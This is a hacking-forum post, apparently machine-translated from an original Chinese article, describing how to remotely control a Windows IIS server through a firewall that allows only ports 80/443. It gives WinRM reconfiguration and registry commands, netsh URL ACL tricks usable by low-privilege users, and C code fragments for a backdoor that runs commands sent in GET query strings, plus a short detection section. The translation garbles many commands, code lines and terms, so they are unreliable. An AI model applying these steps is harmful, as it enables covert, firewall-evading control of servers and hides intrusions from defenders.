跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

利用IIS的端口共享功能绕过防火墙


HACK7YD

推荐的帖子

0x00 前言

最近一直在思考这个问题:

Windows server已打开IIS服务,防火墙只允许端口80或443通信。那么如何在不使用webshell的情况下远程管理这个服务器呢?再者,如果只有低权限,有什么办法?

0x01 简介

本文将介绍以下内容:

HTTP.sys和端口共享

WinRM服务

HTTP服务器API

80和443端口的利用方法

高权限和低权限的使用方法

检测方法

0x02 基本概念

1.HTTP.sys和端口共享

微软在Windows 2003 Server中增加了一个内核驱动(Http.sys),用来监听Http流量,并根据URL进行处理,允许任何用户进程共享专用于http流量的TCP端口。

也就是说,通过HTTP.sys,多个进程将能够侦听同一端口上的HTTP流量。

可以使用Netsh命令来查询和配置HTTP.sys设置和参数。请参阅以下资源:

https://docs . Microsoft . com/en-us/windows/win32/http/netsh-commands-for-http

使用以下命令列出所有URL的DACL:

netsh http show urlacl

默认情况下,系统包括10个DACL,其中两个对应于WinRM服务。详情如下:

保留网址:http://:5985/wsman/

用户:NT服务\WinRM

听着:是的

代表:没有

用户:NT服务\Wecsvc

听着:是的

代表:没有

SDDL:D:(A;GX;s-1-5-80-569256582-2953403351-290955976-1301513147

-412116970)(A;GX;s-1-5-80-4059739203-877974739-1245631912-527174227-299656351

7)

保留网址:https://:5986/wsman/

用户:NT服务\WinRM

听着:是的

代表:没有

用户:NT服务\Wecsvc

听着:是的

代表:没有

SDDL:D:(A;GX;s-1-5-80-569256582-2953403351-290955976-1301513147

-412116970)(A;GX;s-1-5-80-4059739203-877974739-1245631912-527174227-299656351

7)

985对应于http端口,5986对应于https端口。

2.WinRM服务

学习材料:

https://docs.microsoft.com/en-us/windows/win32/winrm/portal

Windows远程管理,可以在远程主机上执行命令。

3.HTTP Server API

学习材料:

https://docs . Microsoft . com/en-us/windows/win32/http/http-API-start-page

服务器API使应用程序能够接收定向到URL的HTTP请求并发送HTTP响应。

0x03 利用WinRM服务实现端口复用

注:

Twi1ight的文章已经介绍了这一部分。感谢他的分享。地址如下:

https://paper.seebug.org/1004/

本节只是对本文内容的总结和补充。

WinRM服务在Windows Server 2008中默认关闭,在Windows Server 2012中默认打开。

注:

以下操作需要管理员权限。

1.如果系统已开启WinRM服务

(1)查看监听配置

winrm e winrm/config/listener

默认情况下,监听端口5985。为了不修改默认配置,这里需要添加端口80。

注:

查看WinRM配置的命令如下:

winrm获取winrm/config

(2)新增80端口

winrm set winrm/config/service @ { EnableCompatibilityHttpListener=' true ' }

补充:

删除端口80的命令如下:

winrm set winrm/config/service @ { EnableCompatibilityHttpListener=' false ' }

注:

如果没有添加80端口,则需要为远程连接指定5985端口。示例如下:

winrs-r:http://192 . 168 . 112 . 129:5985-u:test-p:1234 ' whoami '

(3)允许Administrators组中的所有帐户访问该服务

REG add HKLM \软件\ Microsoft \ Windows \当前版本\策略\系统/v localaccountokenfilterpolicy/t REG _ DWORD/d 1/f

注:

如果未设置此项,则只有内置管理员帐户Administrator可用于远程连接。

2.如果系统未开启WinRM服务

(1)使用默认配置开启并配置服务

Winrm快速配置-q

将自动执行以下操作:

启动WinRM服务并将服务启动类型设置为自动启动。

添加监听配置

添加防火墙规则

(2)修改默认端口

服务打开后,默认情况下会监控端口5985。为了更加隐蔽,需要将默认端口5985改为端口80。

将http默认端口修改为80:

winrm设置winrm/config/Listener?address=* Transport=HTTP @ { Port=' 80 ' }

注:

将http默认端口恢复到5985的命令如下:

winrm设置winrm/config/Listener?address=* Transport=HTTP @ { Port=' 5985 ' }

(3)允许Administrators组中的所有帐户访问该服务

REG add HKLM \软件\ Microsoft \ Windows \当前版本\策略\系统/v localaccountokenfilterpolicy/t REG _ DWORD/d 1/f

注:

如果未设置此项,则只有内置管理员帐户Administrator可用于远程连接。

3.通过WinRM服务连接远程主机

本地系统需要使用与远程主机相同的语言环境。

(1)本地系统开启WinRM服务

Winrm快速配置-q

(2)本地系统设置访问规则,允许连接所有主机

winrm set winrm/config/Client @ { trusted hosts=' * ' }

注:

删除该访问规则的命令如下:

winrm set winrm/config/Client @ { trusted hosts=' ' }

(3)连接远程主机的命令示例

如果是默认的5985端口,命令如下:

winrs-r:http://192 . 168 . 112 . 129:5985-u:administrator-p:1234 ' whoami '

如果是80端口,命令如下:

winrs -r:http://192.168.112.129 -u:管理员-p:1234 'whoami '

0x04 利用HTTP Server API实现端口复用

1.示例代码测试

下载地址:

https://docs . Microsoft . com/en-us/windows/win32/http/http-server-sample-application

代码支持同时注册多个URL,处理请求和发送HTTP响应。

简单的测试如下:

IP是192.168.112.129。

管理员权限执行:

http-server-sample-application.exe http://:80/迈里1

打开浏览器分别访问http://192.168.112.129:80/MyUri1和http://192.168.112.129:80/MyUri2。

收到的结果如下

3-1.png

代码通过API HttpAddUrl()将URL注册为Listen On。默认情况下,需要管理员权限才能成功添加,否则会产生错误:HttpAddUrl失败,5,表示权限不足。

但是普通用户的正常操作可以通过添加url acl来实现(需要管理员权限)

2.通过添加url acl(需要管理员权限)的方式实现示例代码以普通用户权限运行

该方法如下:

添加url acl以授予Everyone用户对指定url的权限。命令如下(管理员权限):

netsh http add urlacl URL=http://:80/MyUri user=every one

注:

删除url acl的命令如下:

netsh http delete urlacl URL=http://:80/MyUri

再次执行测试程序(普通用户权限),命令如下:

http-server-sample-application.exe http://:80/米里

执行成功。

3.借助已有的url acl实现示例代码以普通用户权限运行

使用以下命令列出所有URL的DACL:

netsh http show urlacl

请注意,默认配置中包括以下ACL:

保留的URL:http://:80/Temporary _ Listen _ Addresses/

用户:\所有人

听着:是的

代表:没有

SDDL:D:(A;GX;WD)

用户Everyone,这样我们就可以使用这个url。

使用以下命令执行示例程序(普通用户权限):

http-server-sample-application.exe http://:80/临时_监听_地址/MyUri

执行成功。

4.修改示例代码,实现命令执行

想法如下:

通过GET请求发送要执行的cmd命令。格式是?

例如:http://192.168.112.129/MyUri?Whoami,要执行的命令是whoami,在响应中回复执行结果。

对于不符合格式的GET和POST请求,在响应中回复404

实施代码:

使用示例程序作为模板,需要修改以下位置:

(1)使用?传入参数

p熟的URL.pquerystring可以读取参数,但是包含无用字符?prequest-Cooke durl . pquerystring的第一个字符需要在命令实际执行时删除。

删除prequest-Cooke durl . pquerystring的第一个字符的c代码如下:

WCHAR * query string=new WCHAR[pRequest-Cooke durl。query stringlength-1];

wcsncpy_s(QueryString,wcslen(QueryString),pRequest-Cooke durl . pquerystring 1,wcs len(query string)-1);

wprintf _ s(L“% s \ n”,query string);

(2)特殊字符的替换

空格被转码为

"转码为"

代码转换为

比如浏览器输入字符串whoami /all会转码成whoami /all,这个命令不能直接在命令行下执行。

恢复URL编码的c代码已经上传到github,地址如下:

https://github . com/3g student/home-of-C-Language/blob/master/urldecode . CPP

支持代码多字节字符集和Unicode字符集。

(3)使用管道读入命令并执行,回传结果

使用管道执行cmd命令并获得结果的代码已上传到github,地址如下:

https://github . com/3g student/home-of-C-Language/blob/master/usepipetoexecmd . CPP

(4)修改回传结果的格式

返回的结果需要格式转换。\ n换行符被转换为html,否则浏览器显示的内容无法换行。

将文本中的换行符(\n)转换为html中的换行符()的代码已上传到github,地址如下:

https://github。com/3g student/home-of-C-Language/blob/master/texttohtmlofnewline。卡片打印处理机(Card Print Processor的缩写)

最终实现的代码已上传至github,地址如下:

https://github。com/3g student/home-of-C-Language/blob/master/http server webshell。卡片打印处理机(Card Print Processor的缩写)

只有输入特定格式的全球资源定位器(统一资源定位器)能够执行命令,否则提示404

如下图

2-1.png

命令实例:

http://192.168.112.129/MyUri?净开始

如下图

2-2.png

https协议也支持,命令实例:

https://192.168.112.129/MyUri?净开始

如下图

2-3.png

0x05 利用方法

Windows操作系统操作系统服务器开启了(同移民检查员移民检查)服务,防火墙仅允许80或443端口进行通信,在不使用webshell的前提下,实现对该服务器远程管理的方法如下:

1.使用管理员权限

(1)使用WinRM服务

需要开启WinRM服务

需要管理员组中的帐户口令或混杂

(2)使用HTTP Server API

可以使用任意全球资源定位器(统一资源定位器)

注:

80和443端口都可以

2.使用普通用户权限

(1)使用HTTP Server API

使用已有的URL ACL:http://:80/Temporary _ Listen _ Addresses/

注:

无法使用443端口

0x06 检测方法

使用以下方法检测当前(同移民检查员移民检查)服务器的端口共享功能是否被滥用

1.检测正在使用的url

如果使用了超文本传送协议服务器API,程序在运行时会注册url,查看命令如下:

netsh http sh ser

可疑结果示例:

服务器会话ID:d 00000020000174

版本:1.0

状态:活动

属性:

最大带宽:4294967295

超时:

实体主体超时(秒):120

排出实体主体超时(秒):120

请求队列超时(秒):120

空闲连接超时(秒):120

标题等待超时(秒):120

最小发送速率(字节/秒):150

统一资源定位器组:

统一资源定位器组ID: AC0000004000017C

状态:活动

请求队列名称:请求队列未命名。

属性:

最大带宽:继承

最大连接数:继承的

超时:

继承的超时值

注册的网址数量:1

注册的网址:

HTTP://192。168 .112 .129:80:192 .168 .112 .129/MYURI/

服务器会话ID:d 00000020000173

版本:1.0

状态:活动

属性:

最大带宽:4294967295

超时:

实体主体超时(秒):120

排出实体主体超时(秒):120

请求队列超时(秒):120

空闲连接超时(秒):120

标题等待超时(秒):120

最小发送速率(字节/秒):150

统一资源定位器组:

统一资源定位器组ID: AC0000004000017B

状态:活动

请求队列名称:请求队列未命名。

属性:

最大带宽:继承

最大连接数:继承的

超时:

继承的超时值

注册的网址数量:1

注册的网址:

HTTPS/192168 .112 .129:443:192 .168 .112 .129/MYURI/

服务器会话ID: D600000020000077

版本:1.0

状态:活动

属性:

最大带宽:4294967295

超时:

实体主体超时(秒):120

排出实体主体超时(秒):120

请求队列超时(秒):120

空闲连接超时(秒):120

标题等待超时(秒):120

最小发送速率(字节/秒):150

统一资源定位器组:

统一资源定位器组ID: BF00000040000120

状态:活动

请求队列名称:请求队列未命名。

属性:

最大带宽:继承

最大连接数:继承的

超时:

继承的超时值

注册的网址数量:1

注册的网址:

HTTP://:80/临时监听地址/

2.查看WinRM服务配置

如果攻击者获得了管理员权限,WinRM服务配置有可能被滥用

查看监听配置:

winrm e winrm/config/listener

查看是否开启可疑端口

0x07 小结

本文解决了如下问题:

Windows server已打开IIS服务,防火墙只允许端口80或443通信。那么如何在不使用webshell,只用普通用户权限的情况下远程管理这台服务器呢?

解决方法:

使用代码:

https://github . com/3g student/home-of-C-Language/blob/master/http server webshell . CPP

对于现有的url acl,命令参数如下:

HTTPServerWebshell.exe http://:80/临时_收听_地址/

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...